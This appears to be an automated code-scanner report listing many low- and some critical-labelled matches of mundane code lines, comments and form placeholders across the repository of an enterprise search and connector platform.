| LOW | frontend/app/mock-data/connectors/registry.json | 4712 | "placeholder": "DefaultEndpointsProtocol=https;AccountName=...;AccountKey=...;Endpoi | CODE |
| LOW | frontend/app/mock-data/connectors/registry.json | 4993 | "placeholder": "Enter your Linear OAuth Client ID", | CODE |
| LOW | frontend/app/mock-data/connectors/registry.json | 5007 | "placeholder": "Enter your Linear OAuth Client Secret", | CODE |
| LOW | frontend/app/mock-data/connectors/registry.json | 5284 | "placeholder": "Enter your Client ID", | CODE |
| LOW | frontend/app/mock-data/connectors/registry.json | 5298 | "placeholder": "Enter your Client Secret", | CODE |
| LOW | frontend/app/mock-data/connectors/active_list.json | 207 | "placeholder": "Enter your Azure AD Application ID", | CODE |
| LOW | frontend/app/mock-data/connectors/active_list.json | 221 | "placeholder": "Enter your Azure AD Tenant ID", | CODE |
| LOW | frontend/app/mock-data/connectors/active_list.json | 235 | "placeholder": "", | CODE |
| LOW | frontend/app/mock-data/connectors/active_list.json | 249 | "placeholder": "https://your-domain.sharepoint.com", | CODE |
| LOW | frontend/app/mock-data/connectors/active_list.json | 604 | "placeholder": "Enter your Azure AD Application ID", | CODE |
| LOW | frontend/app/mock-data/connectors/active_list.json | 618 | "placeholder": "Enter your Azure AD Client Secret", | CODE |
| LOW | frontend/app/mock-data/connectors/active_list.json | 632 | "placeholder": "Enter your Azure AD Tenant ID", | CODE |
| LOW | frontend/app/mock-data/connectors/active_list.json | 646 | "placeholder": "", | CODE |
| LOW | frontend/app/mock-data/connectors/active_list.json | 660 | "placeholder": "http://localhost:3001/connectors/oauth/callback/onedrive", | CODE |
| LOW | frontend/app/mock-data/connectors/active_list.json | 963 | "placeholder": "Enter your Azure AD Application ID", | CODE |
| LOW | frontend/app/mock-data/connectors/active_list.json | 977 | "placeholder": "Enter your Azure AD Client Secret", | CODE |
| 948 more matches not shown… | ||||
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| LOW | integration-tests/conftest.py | 78 | def _setup_neo4j_env_vars() -> None: | CODE |
| LOW | integration-tests/conftest.py | 95 | def _setup_arango_env_vars() -> None: | CODE |
| LOW | integration-tests/connectors/demo/conftest.py | 32 | logger = logging.getLogger(__name__) | CODE |
| LOW | …-tests/connectors/bookstack/bookstack_source_helper.py | 75 | def set_admin_email(self, email: str) -> None: | CODE |
| LOW | …-tests/connectors/bookstack/bookstack_source_helper.py | 95 | def update_page(self, page_id: int, markdown: str) -> None: | CODE |
| LOW | …-tests/connectors/bookstack/bookstack_source_helper.py | 126 | def set_page_role_view(self, page_id: int, role_id: int, *, view: bool) -> None: | CODE |
| LOW | integration-tests/connectors/notion/notion_seed.py | 848 | __all__ = [ | CODE |
| LOW | …ration-tests/connectors/zammad/zammad_source_helper.py | 130 | def update_ticket_title(self, ticket_id: int, title: str) -> None: | CODE |
| LOW | …ration-tests/connectors/zammad/zammad_source_helper.py | 150 | def set_user_groups(self, user_id: int, group_ids: list[int]) -> None: | CODE |
| LOW | …on-tests/connectors/postgres/postgres_source_helper.py | 87 | def update_body(self, table: str, title: str, body: str) -> None: | CODE |
| LOW | integration-tests/permissions/conftest.py | 26 | logger = logging.getLogger(__name__) | CODE |
| LOW | …tests/permissions/authenticated_as_integration_test.py | 45 | logger = logging.getLogger(__name__) | CODE |
| LOW | integration-tests/storage/conftest.py | 99 | def _set_storage_backend(client: PipeshubClient, backend: str) -> None: | CODE |
| LOW | …on/enterprise-search/agents/integration_test_agents.py | 41 | logger = logging.getLogger(__name__) | CODE |
| LOW | …on/enterprise-search/search/integration_test_search.py | 44 | def _setup(self, search_client: SearchClient, session_kb: dict[str, str]) -> None: | CODE |
| LOW | …sations/integration_test_agent_conversation_listing.py | 47 | logger = logging.getLogger(__name__) | CODE |
| LOW⚡ | …n/configuration-manager/integration_test_web_search.py | 46 | def _setup(self, config_client: ConfigClient) -> None: | CODE |
| LOW | …ation-tests/response-validation/auth/utils/__init__.py | 12 | __all__ = [ | CODE |
| LOW | …n-tests/response-validation/auth/utils/auth_helpers.py | 20 | __all__ = [ | CODE |
| LOW | …lidation/knowledgebase/integration_test_folder_crud.py | 23 | def _setup(self, pipeshub_client: PipeshubClient) -> None: | CODE |
| LOW | …ion/knowledgebase/integration_test_permissions_crud.py | 134 | def _setup(self, pipeshub_client: PipeshubClient) -> None: | CODE |
| LOW | …ion/knowledgebase/integration_test_permissions_crud.py | 335 | def _setup(self, pipeshub_client: PipeshubClient) -> None: | CODE |
| LOW | …ion/knowledgebase/integration_test_permissions_crud.py | 419 | def _setup(self, pipeshub_client: PipeshubClient) -> None: | CODE |
| LOW | …ion/knowledgebase/integration_test_permissions_crud.py | 635 | def _setup(self, pipeshub_client: PipeshubClient) -> None: | CODE |
| LOW | …dgebase/integration_test_knowledgebase_records_crud.py | 26 | def _setup(self, pipeshub_client: PipeshubClient) -> None: | CODE |
| LOW | …n/knowledgebase/integration_test_knowledgebase_crud.py | 23 | def _setup(self, pipeshub_client: PipeshubClient) -> None: | CODE |
| LOW | …dation/knowledgebase/integration_test_upload_limits.py | 22 | def _setup(self, pipeshub_client: PipeshubClient) -> None: | CODE |
| LOW | …alidation/connector/integration_test_record_content.py | 31 | def _setup(self, pipeshub_client: PipeshubClient) -> None: | CODE |
| LOW⚡ | …e-validation/user_management/integration_test_users.py | 116 | def _setup(self, users_client: UsersClient) -> None: | CODE |
| LOW⚡ | …e-validation/user_management/integration_test_users.py | 124 | def _setup_groups(self, user_groups_client: UserGroupsClient) -> None: | CODE |
| LOW | …nse-validation/user_management/integration_test_org.py | 68 | def _setup(self, org_client: OrgClient) -> None: | CODE |
| LOW | …dation/user_management/integration_test_user_groups.py | 65 | def _setup(self, user_groups_client: UserGroupsClient) -> None: | CODE |
| LOW | …dation/user_management/integration_test_user_groups.py | 73 | def _setup_users(self, users_client: UsersClient) -> None: | CODE |
| LOW | …model-providers/integration_test_ai_model_providers.py | 114 | def _setup(self, ai_models_client: AIModelsClient) -> None: | CODE |
| LOW⚡ | …ation/oauth_provider/integration_test_oauthProvider.py | 125 | def _setup_credentials(self, oauth_credentials: dict) -> None: | CODE |
| LOW⚡ | …ation/oauth_provider/integration_test_oauthProvider.py | 158 | def _setup_credentials(self, oauth_credentials: dict) -> None: | CODE |
| LOW⚡ | …ation/oauth_provider/integration_test_oauthProvider.py | 202 | def _setup_credentials(self, oauth_credentials: dict) -> None: | CODE |
| LOW⚡ | …ation/oauth_provider/integration_test_oauthProvider.py | 262 | def _setup_credentials(self, oauth_credentials: dict) -> None: | CODE |
| LOW⚡ | …ation/oauth_provider/integration_test_oauthProvider.py | 361 | def _setup_credentials(self, oauth_credentials: dict) -> None: | CODE |
| LOW⚡ | …ation/oauth_provider/integration_test_oauthProvider.py | 386 | def _setup_credentials(self, oauth_credentials: dict) -> None: | CODE |
| LOW | …ation/oauth_provider/integration_test_oauthProvider.py | 72 | def _setup(self, oauth_provider_client: OAuthProviderClient) -> None: | CODE |
| LOW | …nse-validation/oauth_app/integration_test_oauthApps.py | 88 | def _setup(self, oauth_apps_client: OAuthAppsClient) -> None: | CODE |
| LOW | …nse-validation/oauth_app/integration_test_oauthApps.py | 96 | def _setup_seeded(self, seeded_apps: dict) -> None: | CODE |
| LOW | integration-tests/helper/pipeshub_client.py | 175 | def _set_token_expiry_from_token_response(self, data: Dict[str, Any]) -> None: | CODE |
| LOW | integration-tests/helper/xdist_shared.py | 34 | logger = logging.getLogger(__name__) | CODE |
| LOW | integration-tests/helper/kb_sharing.py | 108 | def _update_team(client: PipeshubClient, team_id: str, body: dict) -> None: | CODE |
| LOW | integration-tests/helper/vector_rebuild.py | 174 | def set_rebuild_flag(client: PipeshubClient, enabled: bool) -> None: | CODE |
| LOW | …egration-tests/helper/arango_test_provider/__init__.py | 5 | __all__ = ["TestArangoHTTPProvider"] | CODE |
| LOW | integration-tests/helper/http/request_id.py | 62 | def set_current_test(nodeid: Optional[str]) -> None: | CODE |
| LOW | integration-tests/helper/neo4j_integration/__init__.py | 5 | __all__ = ["TestNeo4jProvider"] | CODE |
| LOW | backend/python/app/edition_containers.py | 5 | __all__ = ["QueryAppContainer", "ConnectorAppContainer", "IndexingAppContainer"] | CODE |
| LOW | …nd/python/app/connectors/core/sync/sync_coordinator.py | 355 | def set_coordinator(coordinator: SyncCoordinator) -> None: | CODE |
| LOW⚡ | …end/python/app/connectors/core/sync/sync_dispatcher.py | 114 | def set_dispatcher(dispatcher: SyncDispatcher) -> None: | CODE |
| LOW | …ctors/core/base/token_service/token_refresh_service.py | 89 | def set_messaging_producer(self, producer: IMessagingProducer) -> None: | CODE |
| LOW | …/connectors/core/base/token_service/startup_service.py | 28 | def set_messaging_producer(self, producer: IMessagingProducer) -> None: | CODE |
| LOW | …/base/data_processor/data_source_entities_processor.py | 3198 | async def update_record_group_name(self, folder_id: str, new_name: str, old_name: str = None, connector_id: str = No | CODE |
| LOW | …thon/app/connectors/core/base/data_store/data_store.py | 402 | async def update_sync_point(self, sync_point: "SyncPoint") -> None: | CODE |
| LOW | …pp/connectors/core/base/data_store/graph_data_store.py | 992 | async def update_sync_point(self, sync_point_key: str, sync_point_data: dict) -> None: | CODE |
| LOW | backend/python/app/connectors/utils/value_mapper.py | 20 | logger = logging.getLogger(__name__) | CODE |
| LOW | …on/app/connectors/sources/demo/harness/answer_judge.py | 461 | __all__ = [ | CODE |
| 696 more matches not shown… | ||||
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| LOW | …on/enterprise-search/agents/integration_test_agents.py | 63 | CODE | |
| LOW | …on/enterprise-search/agents/integration_test_agents.py | 111 | CODE | |
| LOW | integration-tests/helper/clients/connectors_client.py | 23 | CODE | |
| LOW | …nd/python/app/connectors/core/registry/tool_builder.py | 74 | CODE | |
| LOW | …nd/python/app/connectors/core/registry/auth_builder.py | 263 | CODE | |
| LOW | …hon/app/connectors/core/registry/connector_registry.py | 1049 | CODE | |
| LOW | …nd/python/app/connectors/sources/web/fetch_strategy.py | 782 | CODE | |
| LOW | …/python/app/connectors/sources/web/crawl4ai_fetcher.py | 260 | CODE | |
| LOW | …kend/python/app/connectors/sources/linear/connector.py | 4087 | CODE | |
| LOW | …python/app/connectors/sources/localKB/api/kb_router.py | 937 | CODE | |
| LOW | …python/app/connectors/sources/localKB/api/kb_router.py | 977 | CODE | |
| LOW | …python/app/connectors/sources/localKB/api/kb_router.py | 1037 | CODE | |
| LOW | …python/app/connectors/sources/localKB/api/kb_router.py | 1680 | CODE | |
| LOW | …connectors/sources/localKB/api/knowledge_hub_router.py | 191 | CODE | |
| LOW | …connectors/sources/localKB/api/knowledge_hub_router.py | 250 | CODE | |
| LOW | …tors/sources/localKB/handlers/knowledge_hub_service.py | 135 | CODE | |
| LOW | …/app/connectors/sources/localKB/handlers/kb_service.py | 2570 | CODE | |
| LOW | …/app/connectors/sources/localKB/handlers/kb_service.py | 2664 | CODE | |
| LOW | …/app/connectors/sources/localKB/handlers/kb_service.py | 2757 | CODE | |
| LOW | …/app/connectors/sources/localKB/handlers/kb_service.py | 2865 | CODE | |
| LOW | backend/python/app/connectors/api/router.py | 1748 | CODE | |
| LOW | backend/python/app/connectors/api/router.py | 1993 | CODE | |
| LOW | backend/python/app/connectors/api/artifacts_router.py | 48 | CODE | |
| LOW | backend/python/app/config/ai_models/registry.py | 15 | CODE | |
| LOW | …python/app/agent_loop_lib/tools/builtin/data/skills.py | 565 | CODE | |
| LOW | backend/python/app/agent_loop_lib/transport/openai.py | 152 | CODE | |
| LOW | …ckend/python/app/agent_loop_lib/transport/anthropic.py | 73 | CODE | |
| LOW | …end/python/app/agent_loop_lib/sandbox/coding/docker.py | 166 | CODE | |
| LOW | backend/python/app/agents/chat_modes/bridge.py | 319 | CODE | |
| LOW | backend/python/app/agents/agent_loop/intent.py | 301 | CODE | |
| LOW | backend/python/app/agents/agent_loop/stream_bridge.py | 249 | CODE | |
| LOW | …pp/agents/actions/jira_data_center/jira_data_center.py | 1152 | CODE | |
| LOW | …pp/agents/actions/jira_data_center/jira_data_center.py | 1299 | CODE | |
| LOW | …ckend/python/app/agents/actions/freshdesk/freshdesk.py | 240 | CODE | |
| LOW | …ckend/python/app/agents/actions/freshdesk/freshdesk.py | 550 | CODE | |
| LOW | …/app/agents/actions/knowledge_graph/knowledge_graph.py | 350 | CODE | |
| LOW | …/app/agents/actions/knowledge_graph/knowledge_graph.py | 1063 | CODE | |
| LOW | …python/app/agents/actions/knowledge_graph/navigator.py | 227 | CODE | |
| LOW | …thon/app/agents/actions/knowledge_graph/ops/listing.py | 124 | CODE | |
| LOW | …thon/app/agents/actions/knowledge_hub/knowledge_hub.py | 178 | CODE | |
| LOW | …ents/actions/google/google_calendar/google_calendar.py | 117 | CODE | |
| LOW | …ents/actions/google/google_calendar/google_calendar.py | 279 | CODE | |
| LOW | …/python/app/agents/actions/google/calendar/calendar.py | 327 | CODE | |
| LOW | …/python/app/agents/actions/google/calendar/calendar.py | 406 | CODE | |
| LOW | …/python/app/agents/actions/google/calendar/calendar.py | 510 | CODE | |
| LOW | backend/python/app/agents/actions/google/drive/drive.py | 314 | CODE | |
| LOW | …python/app/agents/actions/microsoft/outlook/outlook.py | 1598 | CODE | |
| LOW | backend/python/app/agents/actions/clickup/clickup.py | 850 | CODE | |
| LOW | backend/python/app/agents/actions/clickup/clickup.py | 926 | CODE | |
| LOW | backend/python/app/agents/actions/clickup/clickup.py | 997 | CODE | |
| LOW | backend/python/app/agents/actions/clickup/clickup.py | 1210 | CODE | |
| LOW | …end/python/app/agents/actions/confluence/confluence.py | 1686 | CODE | |
| LOW | …end/python/app/agents/actions/confluence/confluence.py | 1928 | CODE | |
| LOW | backend/python/app/agents/actions/zoom/zoom.py | 706 | CODE | |
| LOW | …end/python/app/agents/actions/salesforce/salesforce.py | 276 | CODE | |
| LOW | backend/python/app/agents/actions/lumos/lumos.py | 729 | CODE | |
| LOW | backend/python/app/agents/actions/slack/slack.py | 957 | CODE | |
| LOW | backend/python/app/agents/actions/slack/slack.py | 2239 | CODE | |
| LOW | backend/python/app/utils/url_fetcher.py | 676 | CODE | |
| LOW | backend/python/app/utils/streaming.py | 904 | CODE | |
| 898 more matches not shown… | ||||
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| LOW | install.sh | 1 | #!/usr/bin/env bash | COMMENT |
| LOW | frontend/app/components/electron/server-url-setup.tsx | 41 | COMMENT | |
| LOW | frontend/app/(main)/chat/streaming.ts | 481 | // turn does not drop it. The grace timer will no-op once `runId` changes. | COMMENT |
| LOW | frontend/app/(main)/chat/streaming.ts | 621 | // | COMMENT |
| LOW | frontend/app/(main)/chat/streaming.ts | 961 | // If no previous state exists (brand-new conversation) we leave | COMMENT |
| LOW | frontend/app/(main)/chat/api.ts | 721 | const { data } = await apiClient.get<{ status: string; models: AvailableLlmModel[]; message: string }>( | COMMENT |
| LOW | frontend/app/(main)/chat/api.ts | 741 | // include: 'counts', | COMMENT |
| LOW | frontend/app/(main)/chat/components/chat-input.tsx | 761 | : agentChatToolGroups; | COMMENT |
| LOW | …p/(main)/chat/components/message-area/message-list.tsx | 781 | // Tracks the last message's DOM size changes (streaming content growing, | COMMENT |
| LOW | …p/(main)/chat/components/message-area/message-list.tsx | 861 | const observer = new ResizeObserver(() => { | COMMENT |
| LOW | …(main)/chat/components/message-area/answer-content.tsx | 161 | * code (which never start with `<` unless they're HTML being written as | COMMENT |
| LOW | …/(main)/chat/components/message-area/chat-response.tsx | 481 | isStreaming && streamingArtifacts && streamingArtifacts.length > 0 | COMMENT |
| LOW | …message-area/response-tabs/citations/citation-card.tsx | 21 | // Structure: | COMMENT |
| LOW | …(main)/workspace/components/entity-row-action-menu.tsx | 281 | // ──────────────────────────────────────────────────────────────── | COMMENT |
| LOW | …ntend/app/(main)/workspace/authentication/constants.ts | 1 | // ============================================================ | COMMENT |
| LOW | …ontend/app/(main)/knowledge-base/components/header.tsx | 221 | // if (!breadcrumbs || breadcrumbs.length === 0) { | COMMENT |
| LOW | frontend/tests/e2e/chat/chat-streaming.spec.ts | 381 | }); | COMMENT |
| LOW | frontend/scripts/deploy-dev.sh | 1 | #!/usr/bin/env bash | COMMENT |
| LOW | frontend/lib/hooks/use-server-speech-recognition.ts | 41 | COMMENT | |
| LOW | frontend/lib/hooks/use-server-speech-synthesis.ts | 21 | speak: (text: string) => void; | COMMENT |
| LOW | frontend/lib/hooks/use-server-speech-synthesis.ts | 161 | // | COMMENT |
| LOW | frontend/lib/api/axios-instance.ts | 41 | 'Content-Type': 'application/json', | COMMENT |
| LOW | integration-tests/connectors/github_teams/constants.py | 41 | # Sync waits. Generous because ds_call retries 429/5xx three times with jitter and | COMMENT |
| LOW | integration-tests/connectors/github_teams/constants.py | 101 | return "/".join((GH_IT_PATH_ROOT, GH_IT_RUN_ID, *parts)) | COMMENT |
| LOW | integration-tests/connectors/github_teams/constants.py | 121 | # The primary repo issue whose body + comments + non-image attachment back | COMMENT |
| LOW | …nnectors/github_teams/github_teams_integration_test.py | 141 | COMMENT | |
| LOW | integration-tests/connectors/gitlab/constants.py | 101 | # --------------------------------------------------------------------------- | COMMENT |
| LOW | integration-tests/resilience/test_dependency_outages.py | 181 | assert all(counts.values()), f"after a {outage.name}, some COMPLETED documents have no vectors: {counts}" | COMMENT |
| LOW | integration-tests/helper/config.py | 21 | # ------------------------------------------------------------------ # | COMMENT |
| LOW | backend/nodejs/apps/tsconfig.json | 21 | // "jsxFactory": "", /* Specify the JSX factory function used when targeting React J | COMMENT |
| LOW | backend/nodejs/apps/tsconfig.json | 41 | // "rewriteRelativeImportExtensions": true, /* Rewrite '.ts', '.tsx', '.mts', and '.cts' file extensions in | COMMENT |
| LOW | backend/nodejs/apps/tsconfig.json | 61 | // "noEmit": true, /* Disable emitting files from a compilation. */ | COMMENT |
| LOW | …/libs/services/redis/connectionProviderFactory.test.ts | 281 | RedisConnectionProviderFactory.create( | COMMENT |
| LOW | …s/apps/tests/modules/auth/services/iam.service.test.ts | 61 | COMMENT | |
| LOW | …ps/tests/modules/mcp/controller/mcp.controller.test.ts | 701 | expect(next.firstCall.args[0]).to.equal(error) | COMMENT |
| LOW | …ps/tests/modules/mcp/controller/mcp.controller.test.ts | 721 | // error: 'test error message', | COMMENT |
| LOW | …ps/tests/modules/mcp/controller/mcp.controller.test.ts | 741 | // | COMMENT |
| LOW | …ps/tests/modules/mcp/controller/mcp.controller.test.ts | 761 | // expect(errorStub.firstCall.args[1].userId).to.be.undefined | COMMENT |
| LOW | backend/nodejs/apps/src/app.ts | 361 | // (e.g. /toolsets/oauth/callback/Gmail) for redirect-URI parity with | COMMENT |
| LOW | …d/nodejs/apps/src/libs/middlewares/error.middleware.ts | 101 | process.env.NODE_ENV === 'development' || process.env.NODE_ENV === 'dev'; | COMMENT |
| LOW | …/modules/configuration_manager/validator/validators.ts | 401 | COMMENT | |
| LOW | …/modules/configuration_manager/validator/validators.ts | 481 | COMMENT | |
| LOW | …s/src/modules/enterprise_search/constants/constants.ts | 41 | // Create a type from the object values | COMMENT |
| LOW | …modules/user_management/controller/users.controller.ts | 201 | 100, | COMMENT |
| LOW | …modules/user_management/controller/users.controller.ts | 221 | // behaviour. Each returned record carries its `kind`, which is what lets | COMMENT |
| LOW | …ules/user_management/routes/service-accounts.routes.ts | 41 | COMMENT | |
| LOW | …s/user_management/services/service-accounts.service.ts | 241 | // there is nothing to revoke, and restoring an identity whose old | COMMENT |
| LOW | …c/modules/oauth_provider/services/oauth.app.service.ts | 201 | } | COMMENT |
| LOW | backend/python/pyproject.toml | 381 | reportUnusedVariable = "error" | COMMENT |
| LOW | backend/python/app/parsing_main.py | 181 | # ---------------------------------------------------------------- | COMMENT |
| LOW | backend/python/app/indexing_main.py | 561 | # QUEUED records on a disabled connector are unreachable by the scan | COMMENT |
| LOW | backend/python/app/indexing_main.py | 1141 | record_owner, | COMMENT |
| LOW | backend/python/app/indexing_main.py | 1341 | claim={"lastRepublishedAt": get_epoch_timestamp_in_ms()}, | COMMENT |
| LOW | backend/python/app/connectors_main.py | 301 | # Use pre-resolved data_store passed from lifespan to avoid coroutine reuse | COMMENT |
| LOW | backend/python/app/embedding_main.py | 61 | COMMENT | |
| LOW | backend/python/app/connectors/core/sync/sync_runner.py | 301 | ) | COMMENT |
| LOW | backend/python/app/connectors/core/sync/task_manager.py | 241 | COMMENT | |
| LOW | …/base/data_processor/data_source_entities_processor.py | 1281 | elif permission.entity_type == EntityType.ORG.value: | COMMENT |
| LOW | …/base/data_processor/data_source_entities_processor.py | 1581 | # A brand-new record must be stored NOT_STARTED, not the model's | COMMENT |
| LOW | …/base/data_processor/data_source_entities_processor.py | 1621 | # the real parent record arrives to fill it in. | COMMENT |
| 466 more matches not shown… | ||||
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| LOW | integration-tests/mcp_package/conftest.py | 138 | # Set explicitly to empty when a test wants the unauthenticated | COMMENT |
| LOW | backend/python/app/docling_main.py | 166 | # Check if Docling service is healthy | COMMENT |
| LOW | backend/python/app/docling_main.py | 179 | # Check if service has health_check method and call it | COMMENT |
| LOW | backend/python/app/indexing_main.py | 294 | # Check if connector is disabled or deleted. Not for a | COMMENT |
| LOW | backend/python/app/connectors_main.py | 964 | # Check if path should be excluded from authentication | COMMENT |
| LOW | backend/python/app/query_main.py | 429 | # Check if path should be excluded from authentication | COMMENT |
| LOW | …nd/python/app/connectors/core/registry/tool_builder.py | 117 | # Check if required (not Optional and no default) | COMMENT |
| LOW | …hon/app/connectors/core/registry/connector_registry.py | 980 | # Check if this is a beta connector | COMMENT |
| LOW | …hon/app/connectors/core/registry/connector_registry.py | 1590 | # Check if name is unique (excluding current connector) | COMMENT |
| LOW | …pp/connectors/core/base/token_service/oauth_service.py | 474 | # Check if this is a duplicate callback (code already used, credentials exist) | COMMENT |
| LOW | …pp/connectors/core/base/token_service/oauth_service.py | 494 | # Check if this specific code has already been used (prevent duplicate code usage) | COMMENT |
| LOW⚡ | …re/base/token_service/toolset_token_refresh_service.py | 475 | # Check if enrichment is needed | COMMENT |
| LOW | …re/base/token_service/toolset_token_refresh_service.py | 290 | # Check if path_parts[2] is a UUID (new format) or toolset type (legacy) | COMMENT |
| LOW | …re/base/token_service/toolset_token_refresh_service.py | 327 | # Check if toolset is authenticated and has OAuth | COMMENT |
| LOW | …ctors/core/base/token_service/token_refresh_service.py | 197 | # Check if connector has credentials | COMMENT |
| LOW | …/base/data_processor/data_source_entities_processor.py | 3430 | # Check if the user group already exists in the DB | COMMENT |
| LOW | …/base/data_processor/data_source_entities_processor.py | 3517 | # Check if the app role already exists in the DB | COMMENT |
| LOW | …/base/data_processor/data_source_entities_processor.py | 4201 | # Check if user already has permission to this target | COMMENT |
| LOW | …d/python/app/connectors/sources/nextcloud/connector.py | 284 | # Check if it's a collection (folder) | COMMENT |
| LOW | …d/python/app/connectors/sources/nextcloud/connector.py | 844 | # Check if parent changed (file/folder moved to different parent) | COMMENT |
| LOW | …d/python/app/connectors/sources/nextcloud/connector.py | 855 | # Check if path changed (covers renames within same parent or moves) | COMMENT |
| LOW | …d/python/app/connectors/sources/nextcloud/connector.py | 2190 | # Check if it's a folder | COMMENT |
| LOW | …python/app/connectors/sources/azure_files/connector.py | 1684 | # Check if it's a file or directory | COMMENT |
| LOW⚡ | backend/python/app/connectors/sources/box/connector.py | 2224 | # Check if folder already exists in DB | COMMENT |
| LOW | backend/python/app/connectors/sources/box/connector.py | 753 | # Check if there are more users | COMMENT |
| LOW | backend/python/app/connectors/sources/box/connector.py | 1201 | # Check if it's a folder (not a file) | COMMENT |
| LOW | backend/python/app/connectors/sources/box/connector.py | 2178 | # Check if file has a parent folder | COMMENT |
| LOW | backend/python/app/connectors/sources/box/connector.py | 2246 | # Check if this folder has parents that need to be created first (recursive) | COMMENT |
| LOW | backend/python/app/connectors/sources/web/connector.py | 3708 | # Check if image indexing is enabled | COMMENT |
| LOW | …/app/connectors/sources/google/drive/team/connector.py | 632 | # Check if user is active (not suspended) | COMMENT |
| LOW | …/app/connectors/sources/google/drive/team/connector.py | 1145 | # Check if user_email is already in the permissions list | COMMENT |
| LOW | …/app/connectors/sources/google/drive/team/connector.py | 1502 | # Check if it's a 403 error due to insufficient drive membership | COMMENT |
| LOW | …/app/connectors/sources/google/drive/team/connector.py | 2241 | # Check if file is shared with me (user is not owner and file is shared) | COMMENT |
| LOW | …onnectors/sources/google/drive/individual/connector.py | 1024 | # Check if sync point exists | COMMENT |
| LOW | …/app/connectors/sources/google/gmail/team/connector.py | 459 | # Check if thread_id/external_record_group_id changed (metadata change) | COMMENT |
| LOW | …/app/connectors/sources/google/gmail/team/connector.py | 622 | # Check if this part is a regular attachment (has filename) | COMMENT |
| LOW | …/app/connectors/sources/google/gmail/team/connector.py | 944 | # Check if history_id exists for incremental sync | COMMENT |
| LOW | …/app/connectors/sources/google/gmail/team/connector.py | 1443 | # Check if message already exists | COMMENT |
| LOW | …/app/connectors/sources/google/gmail/team/connector.py | 1899 | # Check if email is in format "Name <email@example.com>" | COMMENT |
| LOW | …/app/connectors/sources/google/gmail/team/connector.py | 1996 | # Check if user is active (not suspended) | COMMENT |
| LOW | …/app/connectors/sources/google/gmail/team/connector.py | 2716 | # Check if file_id is a Drive file ID (no tilde, typically longer alphanumeric) | COMMENT |
| LOW | …/app/connectors/sources/google/gmail/team/connector.py | 2743 | # Check if file_id is a combined ID (messageId~partId format) | COMMENT |
| LOW | …/app/connectors/sources/google/gmail/team/connector.py | 3111 | # Check if this is a Drive file (no tilde) | COMMENT |
| LOW | …onnectors/sources/google/gmail/individual/connector.py | 429 | # Check if email is in format "Name <email@example.com>" | COMMENT |
| LOW | …onnectors/sources/google/gmail/individual/connector.py | 507 | # Check if thread_id/external_record_group_id changed (metadata change) | COMMENT |
| LOW | …onnectors/sources/google/gmail/individual/connector.py | 707 | # Check if this part is a regular attachment (has filename) | COMMENT |
| LOW | …onnectors/sources/google/gmail/individual/connector.py | 1011 | # Check if history_id exists for incremental sync | COMMENT |
| LOW | …onnectors/sources/google/gmail/individual/connector.py | 1418 | # Check if file_id is a Drive file ID (no tilde, typically longer alphanumeric) | COMMENT |
| LOW | …onnectors/sources/google/gmail/individual/connector.py | 1444 | # Check if file_id is a combined ID (messageId~partId format) | COMMENT |
| LOW | …onnectors/sources/google/gmail/individual/connector.py | 1575 | # Check if gmail_data_source is initialized | COMMENT |
| LOW | …onnectors/sources/google/gmail/individual/connector.py | 2106 | # Check if message already exists | COMMENT |
| LOW | …onnectors/sources/google/gmail/individual/connector.py | 2613 | # Check if this is a Drive file (no tilde, typically longer alphanumeric) | COMMENT |
| LOW | …tors/sources/microsoft/outlook_individual/connector.py | 629 | # Check if folder has children | COMMENT |
| LOW | …tors/sources/microsoft/outlook_individual/connector.py | 1170 | # Check if message is deleted | COMMENT |
| LOW | …tors/sources/microsoft/outlook_individual/connector.py | 1341 | # Check if content_type is available, skip attachment if not | COMMENT |
| LOW⚡ | …ctors/sources/microsoft/sharepoint_online/connector.py | 649 | # Check if it's base64 encoded or raw PEM | COMMENT |
| LOW⚡ | …ctors/sources/microsoft/sharepoint_online/connector.py | 663 | # Check if it's base64 encoded or raw PEM | COMMENT |
| LOW⚡ | …ctors/sources/microsoft/sharepoint_online/connector.py | 1497 | # Check if parent is root - if path ends with '/root:' or is '/drive/root:', parent is root | COMMENT |
| LOW⚡ | …ctors/sources/microsoft/sharepoint_online/connector.py | 1500 | # Check if parent is at root level (path ends with '/root:' or '/drive/root:') | COMMENT |
| LOW⚡ | …ctors/sources/microsoft/sharepoint_online/connector.py | 1717 | # Check if list is hidden | COMMENT |
| 267 more matches not shown… | ||||
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| CRITICAL | …d/app/(main)/knowledge-base/__tests__/kb-page.test.tsx | 1718 | const reloads = api.hub.getNodeChildren.mock.calls.filter(([, id]) => id === 'folder-designs'); | CODE |
| CRITICAL⚡ | integration-tests/unit/test_run_folder.py | 86 | h._client.bucket.return_value.list_blobs.assert_called_once_with(prefix="it-r/") | CODE |
| CRITICAL | integration-tests/unit/test_run_folder.py | 126 | from azure.core.exceptions import ResourceNotFoundError | CODE |
| CRITICAL⚡ | integration-tests/unit/test_run_folder.py | 143 | from azure.core.exceptions import ResourceNotFoundError | CODE |
| CRITICAL | integration-tests/helper/connector_lifecycle.py | 65 | from azure.core.exceptions import AzureError | CODE |
| CRITICAL | …c/modules/notification/service/notification.service.ts | 161 | const room = this.io.sockets.adapter.rooms.get(userId); | CODE |
| CRITICAL | …gent_loop_lib/tools/builtin/coordination/agent_tool.py | 230 | preloaded = ctx.scope.turn.run.extra_prompt_sections.get("preloaded_skills") | CODE |
| CRITICAL | backend/python/app/agents/agent_loop/hooks/__init__.py | 7 | `agent_loop.hooks.middleware.pipeline.Pipeline.use()` expects. | STRING |
| CRITICAL | …nd/python/app/agents/agent_loop/hooks/tool_blocking.py | 9 | `ctx.scope.turn.run.visible_tools.discard(...)` sketch) is never consulted | STRING |
| CRITICAL⚡ | …python/app/agents/agent_loop/hooks/artifact_context.py | 103 | ctx.scope.run.goal.constraints.append(_build_reminder(artifacts, conv_meta)) | CODE |
| CRITICAL | …ckend/python/app/sources/external/azure/azure_files.py | 12 | from azure.core.exceptions import AzureError, ResourceNotFoundError # type: ignore | CODE |
| CRITICAL⚡ | …ources/external/microsoft/users_groups/users_groups.py | 616 | response = await self.client.invitations.invited_user.service_provisioning_errors.get(request_configuration= | CODE |
| CRITICAL⚡ | …ources/external/microsoft/users_groups/users_groups.py | 1370 | response = await self.client.me.presence.clear_user_preferred_presence.post(request_configuration=config) | CODE |
